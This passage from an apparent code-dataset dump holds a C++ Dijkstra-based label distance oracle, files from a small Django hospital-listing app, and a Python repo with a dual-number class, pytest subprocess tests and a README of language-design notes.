vector<W> dist(g.n, infinity);\n vector<int> source(g.n, -1);\n\n for (int v=0; v<(int)labels.size(); ++v) {\n if (labels[v] == l1) {\n queue.push(make_pair(0, v));\n dist[v] = 0;\n source[v] = v;\n }\n }\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (labels[u] == l2) {\n return make_pair(ud, make_pair(source[u], u));\n }\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n source[w] = source[u];\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return make_pair(infinity, make_pair(-1, -1));\n}\n\nclass OracleNaiveSet {\n \n Graph g;\n vector<int> labels;\n vector< set<int> > labelSets;\n\n void initializeWithLabels(const vector<int> &llabels) {\n labels = llabels;\n labelSets.resize(g.n);\n for (int v=0; v<g.n; ++v) {\n labelSets[labels[v]].insert(v);\n }\n }\n\npublic:\n\n OracleNaiveSet(\n int n,\n const vector< pair<int, int> > edges,\n const vector< W > weights) :\n g(n, edges, weights)\n {\n vector<int> labels;\n for (int i=0; i<n; ++i) labels.push_back(i);\n initializeWithLabels(labels);\n }\n\n OracleNaiveSet(\n int n, \n const vector< pair<int, int> > &edges, \n const vector<W> &weights, \n vector<int> labels) :\n g(n, edges, weights)\n {\n initializeWithLabels(labels);\n }\n\n void setLabel(int v, int l) {\n labelSets[labels[v]].erase(v);\n labels[v] = l;\n labelSets[labels[v]].insert(v);\n }\n\n int labelOf(int v) {\n return labels[v];\n }\n \n W distanceToVertex(int v, int w);\n pair<W, int> distanceToLabel(int v, int l);\n pair<W, pair<int, int> > distanceBetweenLabels(int l1, int l2);\n};\n\nW OracleNaiveSet::distanceToVertex(int v, int w) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (u == w) return dist[u];\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return infinity;\n}\n\npair<W, int> OracleNaiveSet::distanceToLabel(int v, int l) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n\n queue.push(make_pair(0, v));\n dist[v] = 0;\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (labels[u] == l) {\n return curr;\n }\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return make_pair(infinity, -1);\n}\n\npair<W, pair<int, int> > OracleNaiveSet::distanceBetweenLabels(int l1, int l2) {\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n vector<W> dist(g.n, infinity);\n vector<int> source(g.n, -1);\n\n for (int v: labelSets[l1]) {\n queue.push(make_pair(0, v));\n dist[v] = 0;\n source[v] = 0;\n }\n\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n W ud = curr.first;\n int u = curr.second;\n if (ud != dist[u]) continue;\n\n if (labels[u] == l2) {\n return make_pair(ud, make_pair(source[u], u));\n }\n\n for (int i=0; i<(int)g.edges[u].size(); ++i) {\n W wd = ud + g.edges[u][i].w;\n int w = g.edges[u][i].v;\n\n if (wd < dist[w]) {\n dist[w] = wd;\n source[w] = source[u];\n queue.push(make_pair(wd,w));\n }\n }\n }\n\n return make_pair(infinity, make_pair(-1, -1));\n}\n\n#endif\n" } ]
21
gabrielfuentesm/Proyecto-Progra
https://github.com/gabrielfuentesm/Proyecto-Progra
9779e1c36facac4de2f7dcfef5065ed83785f334
c73dac5d9fec57ca0c5b1b51cffd779f06cc3275
a3b9a228adb60e096986375e9f48eec1f39d7e3e
refs/heads/master
2022-11-27T19:35:41.649185
2020-07-11T00:20:56
2020-07-11T00:20:56
278,559,216
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49631190299987793, "alphanum_fraction": 0.5163329839706421, "avg_line_length": 23.973684310913086, "blob_id": "1d3d9fdd197f67e72b81817aa5bddea1df628c21", "content_id": "a7b6e1b3fd1490c11db1c43a5c987a31dc3fb09c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 954, "license_type": "no_license", "max_line_length": 47, "num_lines": 38, "path": "/miweb/migrations/0003_auto_20200708_2323.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-07-09 03:23\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('miweb', '0002_sintomas'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='lareina',\n old_name='ubicación',\n new_name='ubicacion',\n ),\n migrations.RenameField(\n model_name='lascondes',\n old_name='ubicación',\n new_name='ubicacion',\n ),\n migrations.RenameField(\n model_name='lobarnechea',\n old_name='ubicación',\n new_name='ubicacion',\n ),\n migrations.RenameField(\n model_name='providencia',\n old_name='ubicación',\n new_name='ubicacion',\n ),\n migrations.RenameField(\n model_name='vitacura',\n old_name='ubicación',\n new_name='ubicacion',\n ),\n ]\n" }, { "alpha_fraction": 0.6539868116378784, "alphanum_fraction": 0.6825164556503296, "avg_line_length": 25.823530197143555, "blob_id": "18590b7c3c2257dad7cfda39ebf8f4ff3a9c11dd", "content_id": "ce16a0e2ed48a2740a4df4409919d1fb4a2f719f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1367, "license_type": "no_license", "max_line_length": 48, "num_lines": 51, "path": "/miweb/models.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass sintomas(models.Model):\n nombre = models.CharField(max_length=2)\n email = models.CharField(max_length=2)\n edad = models.CharField(max_length=2)\n fiebre = models.CharField(max_length=2)\n tos = models.CharField(max_length=2)\n aire = models.CharField(max_length=2)\n pecho = models.CharField(max_length=2)\n cabeza = models.CharField(max_length=2)\n respirar = models.CharField(max_length=2)\n \n def publish(self):\n self.save()\n\n\nclass Lascondes(models.Model):\n hospital = models.CharField(max_length=100)\n ubicacion = models.CharField(max_length=100)\n\n def publish(self):\n self.save()\n\nclass Vitacura(models.Model):\n hospital = models.CharField(max_length=100)\n ubicacion = models.CharField(max_length=100)\n\n def publish(self):\n self.save()\n\nclass Providencia(models.Model):\n hospital = models.CharField(max_length=100)\n ubicacion = models.CharField(max_length=100)\n\n def publish(self):\n self.save()\n\nclass Lobarnechea(models.Model):\n hospital = models.CharField(max_length=100)\n ubicacion = models.CharField(max_length=100)\n\n def publish(self):\n self.save()\n \nclass Lareina(models.Model):\n hospital = models.CharField(max_length=100)\n ubicacion = models.CharField(max_length=100)\n\n def publish(self):\n self.save()" }, { "alpha_fraction": 0.695852518081665, "alphanum_fraction": 0.6993087530136108, "avg_line_length": 47.27777862548828, "blob_id": "37dc08686158feabb376e66a2557c9b71bd87034", "content_id": "b5dc1fa6ec10869550e5e7b61a4333906867b7f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 868, "license_type": "no_license", "max_line_length": 76, "num_lines": 18, "path": "/miweb/urls.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "from django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n path('', views.inicio, name=\"inicio\"),\n path('hlascondes', views.Lascondes, name=\"hlascondes\"), \n path('contacto', views.contacto, name=\"contacto\"),\n path('hlareina', views.lareina, name=\"hlareina\"),\n path('hprovidencia', views.providencia, name=\"hprovidencia\"),\n path('hvitacura', views.vitacura, name=\"hvitacura\"),\n path('hbarnechea', views.lobarnechea, name=\"hbarnechea\"),\n #path('inicio2', views.inicio2, name=\"inicio2\"),\n path('ubiclascondes', views.ubic_lascondes, name=\"ubiclascondes\"),\n path('ubicvitacura', views.ubic_vitacura, name=\"ubicvitacura\"),\n path('ubiclobarnechea', views.ubic_lobarnechea, name=\"ubiclobarnechea\"),\n path('ubicprovi', views.ubic_provi, name=\"ubicprovi\"),\n path('ubiclareina', views.ubic_lareina, name=\"ubiclareina\"), \n]" }, { "alpha_fraction": 0.5124302506446838, "alphanum_fraction": 0.5352612733840942, "avg_line_length": 35.5, "blob_id": "ce3161ae96231c025e79a8d17a782fd725b31c81", "content_id": "727ee4c8cac49b127a48bac22901b69120c5cf23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1976, "license_type": "no_license", "max_line_length": 114, "num_lines": 54, "path": "/miweb/migrations/0001_initial.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-07-08 16:59\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Lareina',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital', models.CharField(max_length=100)),\n ('ubicación', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Lascondes',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital', models.CharField(max_length=100)),\n ('ubicación', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Lobarnechea',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital', models.CharField(max_length=100)),\n ('ubicación', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Providencia',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital', models.CharField(max_length=100)),\n ('ubicación', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Vitacura',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital', models.CharField(max_length=100)),\n ('ubicación', models.CharField(max_length=100)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5081809163093567, "alphanum_fraction": 0.5360924005508423, "avg_line_length": 34.82758712768555, "blob_id": "b2f0e3fe1de3090f846f266db252f699586660fa", "content_id": "be21990454ff73624a987ffbe786d98023d356ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1039, "license_type": "no_license", "max_line_length": 114, "num_lines": 29, "path": "/miweb/migrations/0002_sintomas.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-07-08 23:31\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('miweb', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='sintomas',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=2)),\n ('email', models.CharField(max_length=2)),\n ('edad', models.CharField(max_length=2)),\n ('fiebre', models.CharField(max_length=2)),\n ('tos', models.CharField(max_length=2)),\n ('cansancio', models.CharField(max_length=2)),\n ('aire', models.CharField(max_length=2)),\n ('pecho', models.CharField(max_length=2)),\n ('cabeza', models.CharField(max_length=2)),\n ('respirar', models.CharField(max_length=2)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.8300653696060181, "alphanum_fraction": 0.8300653696060181, "avg_line_length": 33, "blob_id": "1a7f4396e3dd4bd711cb6dbf57f72d6686a5d129", "content_id": "6f1dffc5d90e1443db484ef43f46dbe2cc143cf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 85, "num_lines": 9, "path": "/miweb/admin.py", "repo_name": "gabrielfuentesm/Proyecto-Progra", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Lascondes, Lobarnechea, Vitacura, Providencia, Lareina, sintomas \n\nadmin.site.register(Lascondes)\nadmin.site.register(Lobarnechea)\nadmin.site.register(Providencia)\nadmin.site.register(Vitacura)\nadmin.site.register(Lareina)\nadmin.site.register(sintomas)\n" } ]
6
asmodehn/hex
https://github.com/asmodehn/hex
bdbcc27188239294a8741d9e85848840e3032294
fd07df68bb35bbf76c47ab96196ed5c496bea5a7
78044112bec2d172619882771e3caf0d0f7c6fe8
refs/heads/master
2023-07-09T15:48:51.612378
2019-11-24T16:39:56
2019-11-24T16:39:56
199,058,721
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5154500603675842, "alphanum_fraction": 0.5327362418174744, "avg_line_length": 26.365196228027344, "blob_id": "8a84d74cf8432279dc5a29acbff03fb3912672ff", "content_id": "5df5cfa39d668973a19aa61f8681fbd7a1fa8f90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11165, "license_type": "no_license", "max_line_length": 128, "num_lines": 408, "path": "/dual.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nSimple implementation of dual numbers.\nFirst step to experiment on differentiable programming...\n\"\"\"\nfrom __future__ import annotations\n\nimport unittest\nimport copy\nimport numpy as np\nfrom functools import singledispatch\n\nfrom decimal import Decimal, getcontext\n\n\nclass Dual:\n \"\"\"\n Dual numbers, implemented as a 2x2 matrix (linear algebra style)\n Internally uses Decimal numbers, since proper arithmetic should be addressed\n before we can consider extending it...\n \"\"\"\n\n # Inner implementation details\n class Impl:\n # TODO : define types compatible with Decimal\n def __init__(self, real, seed = 1):\n self._i = np.array([[real, seed], [0, real]], dtype=Decimal)\n\n @property\n def real(self):\n return self._i[0][0]\n\n @property\n def derivative(self):\n return self._i[0][1]\n\n def __mul__(self, di: Dual.Impl):\n res = Dual.Impl(0)\n res._i = self._i.dot(di._i)\n return res\n\n def __add__(self, di: Dual.Impl):\n res = Dual.Impl(0)\n res._i = np.add(self._i, di._i)\n return res\n\n def __sub__(self, di: Dual.Impl):\n res = Dual.Impl(0)\n res._i = np.subtract(self._i, di._i)\n return res\n\n class Var:\n\n # TODO : define types for alebraic computation here\n def __init__(self, i: Dual.Impl):\n self._i = i\n\n @property\n def real(self):\n return self._i.real\n\n @property\n def derivative(self):\n return self._i.derivative\n\n def __add__(self, other: Dual.Var):\n o = other\n if isinstance(other, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return Dual.Var(self._i + o._i)\n\n def __sub__(self, other: Dual.Var):\n o = other\n if isinstance(other, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return Dual.Var(self._i - o._i)\n\n def __mul__(self, other: Dual.Var):\n o = other\n if isinstance(o, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return Dual.Var(self._i * o._i)\n\n def __call__(self) -> Dual.Var:\n \"\"\"\n Calling observe the value (leaf of computation tree)\n :return:\n \"\"\"\n return self\n\n def __eq__(self, other):\n return self.real == other.real and self.derivative == other.derivative\n\n class Const:\n \"\"\"\n A special class used for computation initialization purposes.\n Not actually implemented as a dual number, but matching properties.\n \"\"\"\n def __init__(self, dc: Decimal = Decimal(0)):\n self.real = dc\n self.derivative = 0\n\n def __add__(self, other: Dual.Var):\n o = other\n if isinstance(o, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return self() + o\n\n def __sub__(self, other: Dual.Var):\n o = other\n if isinstance(o, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return self() - o\n\n def __mul__(self, other):\n o = other\n if isinstance(o, Dual.Const):\n o = Dual.Var(Dual.Impl(o.real))\n return self() * o\n\n def __call__(self):\n return Dual.Var(Dual.Impl(self.real))\n\n class Product:\n def __init__(self, d1, d2):\n if isinstance(d1, Dual.Const):\n d1 = Dual.Var(Dual.Impl(d1.real))\n\n if isinstance(d2, Dual.Const):\n d2 = Dual.Var(Dual.Impl(d2.real))\n\n self.d1 = d1\n self.d2 = d2\n\n @property\n def real(self):\n return self()._i.real\n\n @property\n def derivative(self):\n return self()._i.derivative\n\n def __call__(self) -> Dual.Var:\n \"\"\"\n Doing the product\n => we cannot go back any longer\n :return:\n \"\"\"\n\n prod = Dual.Var(self.d1()._i * self.d2()._i)\n return prod\n\n def __eq__(self, other):\n \"\"\" A notion of equality that depends on the computation tree\"\"\"\n return isinstance(other, Dual.Product) and self.d1 == other.d1 and self.d2 == other.d2\n\n class Sum:\n def __init__(self, d1, d2):\n if isinstance(d1, Dual.Const):\n d1 = Dual.Var(Dual.Impl(d1.real))\n\n if isinstance(d2, Dual.Const):\n d2 = Dual.Var(Dual.Impl(d2.real))\n\n self.d1 = d1\n self.d2=d2\n\n @property\n def real(self):\n return self()._i.real\n\n @property\n def derivative(self):\n return self()._i.derivative\n\n def __call__(self) -> Dual.Var:\n \"\"\"\n Doing the sum\n => we cannot go back any longer\n \"\"\"\n # TODO : maybe mutate should be handle on the outsie if desired instead...\n\n sum = Dual.Var(self.d1()._i + self.d2()._i)\n return sum\n\n def __eq__(self, other):\n \"\"\" A notion of equality that depends on the computation tree\"\"\"\n return isinstance(other, Dual.Sum) and self.d1 == other.d1 and self.d2 == other.d2\n\n\n class Sub:\n def __init__(self, d1, d2):\n if isinstance(d1, Dual.Const):\n d1 = Dual.Var(Dual.Impl(d1.real))\n\n if isinstance(d2, Dual.Const):\n d2 = Dual.Var(Dual.Impl(d2.real))\n\n self.d1 = d1\n self.d2=d2\n\n @property\n def real(self):\n return self()._i.real\n\n @property\n def derivative(self):\n return self()._i.derivative\n\n def __call__(self) -> Dual.Var:\n \"\"\"\n Doing the sum\n => we cannot go back any longer\n \"\"\"\n # TODO : maybe mutate should be handle on the outside if desired instead...\n\n sub = Dual.Var(self.d1()._i - self.d2()._i)\n return sub\n\n def __eq__(self, other):\n \"\"\" A notion of equality that depends on the computation tree\"\"\"\n return isinstance(other, Dual.Sub) and self.d1 == other.d1 and self.d2 == other.d2\n\n\n def __init__(self, i=0):\n \"\"\"\n Create a Constant Dual Number.\n Upon operations it will change and evolve to become a full fledged variable number storing it s derivative...\n \"\"\"\n self.value = Dual.Const(Decimal(i))\n\n @property\n def real(self):\n return self.value.real\n\n @property\n def derivative(self):\n return self.value.derivative\n\n def __eq__(self, other: Dual):\n \"\"\"\n Whether two dual numbers are equals or not (computation path included)\n :param other:\n :return:\n \"\"\"\n return self.value == other.value\n\n def __mul__(self, other: Dual):\n res = Dual()\n res.value = Dual.Product(self.value, other.value)\n return res\n\n def __add__(self, other):\n res = Dual()\n res.value = Dual.Sum(self.value, other.value)\n return res\n\n def __sub__(self, other):\n res = Dual()\n res.value = Dual.Sub(self.value, other.value)\n return res\n\n# Final usecase : to keep focus...\n\n\n\n\n# Internal inspection:\n\n# proc = random_local_computation()\n\n# while we need to\n# r = pick random number # MonteCarlo\n# d = Dual(r)\n# proc(d)\n# # d contains the derivative of proc for d\n# # linear regression will give us hte polynome, provided that we know the degree...\n\n\n\n\n# External inspection :\n# proc = random external process() # we cannot compute with duals directly\n# # but we can use them for our modelisation...\n\n# while (not done)\n# di = Dual(i)\n# dxo = sim(di) # compute expectation (random / Montecarlo, etc.)\n# o = proc(i) # sample (In,Out) # store as statistics -> can be used to infer probability of occurence in some conditions...\n# do = Dual(o)\n# error = min_square_error(xo, o) # or other error function\n# use duals to find derivative and determine next sample (dichotomy on proper side) to minimize error at the limit.\n#\n# TODO :how to deal with oversampling with linear regression ?\n\n\n\n\n\nclass TestDualImpl(unittest.TestCase):\n\n def test_init(self):\n td = Dual.Impl(42)\n assert td.real == 42\n assert td.derivative == 1 # false as a \"derivative\" semantic but the actual value we expect for the seed\n\n def test_mult(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n assert (td * tdb).real == 42*53\n assert (td * tdb).derivative == 42+53\n\n def test_add(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n assert (td + tdb).real == 42+53\n assert (td+tdb).derivative == 2\n\n def test_sub(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n assert (td - tdb).real == 42-53\n assert (td-tdb).derivative == 0\n\n# TODO : Review Var (essentialyl the same as Impl ?)\n# TODO : Review Const based on usage...\n\nclass TestDualSum(unittest.TestCase):\n\n def test_init(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n s = Dual.Sum(Dual.Var(td), Dual.Var(tdb))\n assert s.real == 42+53\n assert s.derivative == 2\n\n def test_eq(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n s = Dual.Sum(Dual.Var(td), Dual.Var(tdb))\n sb = Dual.Sum(Dual.Var(td), Dual.Var(tdb))\n assert s == sb\n assert s != Dual.Var(Dual.Impl(42+53, seed = 2))\n\n def test_call(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n s = Dual.Sum(Dual.Var(td), Dual.Var(tdb))\n r = s()\n assert r == Dual.Var(Dual.Impl(42+53, seed=2))\n\n\nclass TestDualProduct(unittest.TestCase):\n\n def test_init(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n s = Dual.Product(Dual.Var(td), Dual.Var(tdb))\n assert s.real == 42*53\n assert s.derivative == 42+53\n\n def test_eq(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n s = Dual.Product(Dual.Var(td), Dual.Var(tdb))\n sb = Dual.Product(Dual.Var(td), Dual.Var(tdb))\n assert s == sb\n assert s != Dual.Var(Dual.Impl(42*53, seed=42+53))\n\n def test_call(self):\n td = Dual.Impl(42)\n tdb = Dual.Impl(53)\n p = Dual.Product(Dual.Var(td), Dual.Var(tdb))\n r = p()\n assert r == Dual.Var(Dual.Impl(42*53, seed=42+53))\n\n\nclass TestDual(unittest.TestCase):\n\n def test_init(self):\n d = Dual(42)\n assert d.real == 42\n assert d.derivative == 0\n\n def test_add_dual(self):\n\n d1 = Dual(2)\n d2 = Dual(3)\n\n d3 = d1 + d2\n\n assert d3.real == 5\n assert d3.derivative == 2\n\n def test_mul_dual(self):\n d1 = Dual(2)\n d2 = Dual(3)\n\n d3 = d1 * d2\n\n assert d3.real == 6\n assert d3.derivative == 5\n\n\nif __name__ == '__main__':\n loader = unittest.TestLoader()\n suite = loader.loadTestsFromName(__name__)\n runner = unittest.TextTestRunner()\n result = runner.run(suite)\n" }, { "alpha_fraction": 0.6964285969734192, "alphanum_fraction": 0.6964285969734192, "avg_line_length": 18, "blob_id": "c37d5e10f1e2d2bcd9cadc876567e2b23f86de10", "content_id": "c34aca0d193eeba0730a45b6c4c3ed21bbaf32f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 56, "license_type": "no_license", "max_line_length": 48, "num_lines": 3, "path": "/tests/test_filter.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nTest filter as a standalone module and process !\n\"\"\"" }, { "alpha_fraction": 0.6534169912338257, "alphanum_fraction": 0.6576011180877686, "avg_line_length": 23.724138259887695, "blob_id": "e73371c27f6bc7e766f4bcb05015eaceb9607f60", "content_id": "9a51954200256e3ed4be19c7797aac128a32cdd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 129, "num_lines": 58, "path": "/test_regular.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "import pytest\nimport subprocess\nimport signal\n\n\ndef input_data(proc, input):\n try:\n outs, errs = proc.communicate(input=input, timeout=15)\n except subprocess.TimeoutExpired:\n proc.kill()\n outs, errs = proc.communicate()\n\n return outs, errs\n\n\ndef run_module(module_name):\n proc = subprocess.Popen(['python', module_name], )\n\n return proc\n\n\ndef test_run_terminate():\n\n p = run_module('regular')\n # TODO : make sure it has started ?\n p.terminate()\n p.wait(timeout=5)\n\n\[email protected](condition=not hasattr(signal, 'SIGTERM'), reason=\"signal doesnt have CTRL_C_EVENT on this platform\")\ndef test_run_sigterm():\n\n p = run_module('regular')\n # TODO : make sure it has started ?\n p.send_signal(signal.SIGTERM)\n p.wait(timeout=5)\n\n\[email protected](condition=not hasattr(signal, 'CTRL_C_EVENT'), reason=\"signal doesnt have CTRL_C_EVENT on this platform\")\ndef test_run_ctrlc():\n p = run_module('regular')\n # TODO : make sure it has started ?\n p.send_signal(signal.CTRL_C_EVENT)\n p.wait(timeout=5)\n\n\[email protected](condition=not hasattr(signal, 'CTRL_C_EVENT'), reason=\"signal doesnt have CTRL_BREAK_EVENT on this platform\")\ndef test_run_ctrlbreak():\n p = run_module('regular')\n # TODO : make sure it has started ?\n p.send_signal(signal.CTRL_BREAK_EVENT)\n p.wait(timeout=5)\n\n\nif __name__ == '__main__':\n pytest.main([\n '-s', __file__,\n])\n" }, { "alpha_fraction": 0.46979865431785583, "alphanum_fraction": 0.46979865431785583, "avg_line_length": 7.764705657958984, "blob_id": "6812182f0e89c3f50b772b4bd82235ab274dfed6", "content_id": "e7ea9310aae252a807b5f6e853ec9bd99b6b8453", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 149, "license_type": "no_license", "max_line_length": 26, "num_lines": 17, "path": "/hex/tests/test_filter.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "import pytest\n\nfrom .. import filter\n\n\n\n\n\n\ndef test_filter():\n pass\n\n\nif __name__ == '__main__':\n pytest.main([\n '-s', __file__,\n ])\n" }, { "alpha_fraction": 0.6117115020751953, "alphanum_fraction": 0.613470733165741, "avg_line_length": 66.44068145751953, "blob_id": "0f0a718f0a2397410168dbd26661c9a8bc04bf41", "content_id": "a5a95fc6fa7bc60fb1d8f5e560d604a6975446e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3979, "license_type": "no_license", "max_line_length": 353, "num_lines": 59, "path": "/README.md", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "# hex\nHex\n\nYet another attempt at figuring out visual abstraction for large codebase...\n\nAbstractions : \n\n- distribution as native concept (see http://users.umiacs.umd.edu/~vishkin/XMT/index.shtml). [NC](https://en.wikipedia.org/wiki/NC_(complexity)) Complexity problems should be simply and directly tractable via data manipulation or compiled code.\nFind simplest possible language class for this in https://en.wikipedia.org/wiki/Chomsky_hierarchy \n\n- Be aware of [Automata Theory](https://en.wikipedia.org/wiki/Automata_theory) and relationships with Finite State Machines, which is a widely understood programming paradigm. For visualization purposes, the translation FSM <-> regular expression is a well known and well studied one. We might want to start from there...\n\n- FSM are inherently synchronous, so they work to express *space* ( local data complexity ) or *time* (locally on one machine) structure. Recall that FSM with memory are equivalent to FSM with recursion (non-acyclic graph) => maybe there is a nugget hidden here about generalizing FSM via distributed memory, maybe non-determinism should be added tho...\n\n- Ultimately target PSPACE problems, are these seems to be the good balance between simple and tractable problems.\n\n\nGraphics (2D only, potentially as a projection of 3D) :\n\n- [Implicit surfaces](https://en.wikipedia.org/wiki/Implicit_surface) should give us a very simple way to abstract a graphical representation of things...\n\n- [CSG](https://en.wikipedia.org/wiki/Constructive_solid_geometry) or [Minkowski Sum](https://en.wikipedia.org/wiki/Minkowski_addition) should give us a way to visualize combinatorial behavior of things... A categorical take on this would be useful to match with the abstraction they represent...\n\n- potentially useful lib for display stuff : http://pyglet.org/\n\n\n## Looking for the next programming language\n\n\nA Language, an Operating System and an Editor are different perspective on one way to do computation.\n\nWe can attempt to design a **minimalistic** *distributed* language/system/interactivetool the same way, by relating features between perspectives :\n\n- Layer0 : Terminal-based\n\n| Language | Operating System | Chat | Inspiration |\n|------------------------|-----------------------------------------|--------------------|-------------|\n| Affine Core | Deterministic Run | Quality metric | Formality |\n| Reflexive Core | Observable | Profiler | honeycomb |\n| Unified Representation | Implicit Patching / Deterministic Merge | Local change trace | Unison |\n| Literal Programming | Distributed Code / Local Run | Mob Programming | asciinema |\n| Self Contained | unikernel / VM | Introspective | SmallTalk |\n| Interactive | Standard IO : PTY / UTF8 | Terminal UI | IPython |\n| Bounded | Introspectable | Monitor | Alloy |\n| ... | | | |\n\n- Layer1 : GUI-based\n\n| Language | Operating System | Chat | Inspiration |\n|------------------------|-----------------------------------------|-------------------------|----------------|\n| Category Theory | String Diagrams display | Tiled Window / overlay | i3 / Games |\n| DSL | Usable via MultiParadigm code | Channels | Slack / forums |\n| Formally prooved safe | Distributed Run | resource manager | dark |\n| Self-Optimizing | Locally evolving | timeline & notification | ? |\n| Self-Updating (IO) | ML for drivers hardware behavior | feature activation | rust |\n| ... | | | |\n\n- Layer2 : Web-based\n=> kernel and plugins for Jupyter...\n" }, { "alpha_fraction": 0.6712626814842224, "alphanum_fraction": 0.6792452931404114, "avg_line_length": 28.31382942199707, "blob_id": "9e4434ef23b7c89bbef301c9c8c014f6c9656315", "content_id": "c2440e8148c0c3660d8481f3d1abc411ff3c1b4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5512, "license_type": "no_license", "max_line_length": 96, "num_lines": 188, "path": "/regular.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nA potentially eternal configurable & observable runtime.\nWe interpret here regular logic as a filter syntax for logging ->\n. / and / concat : 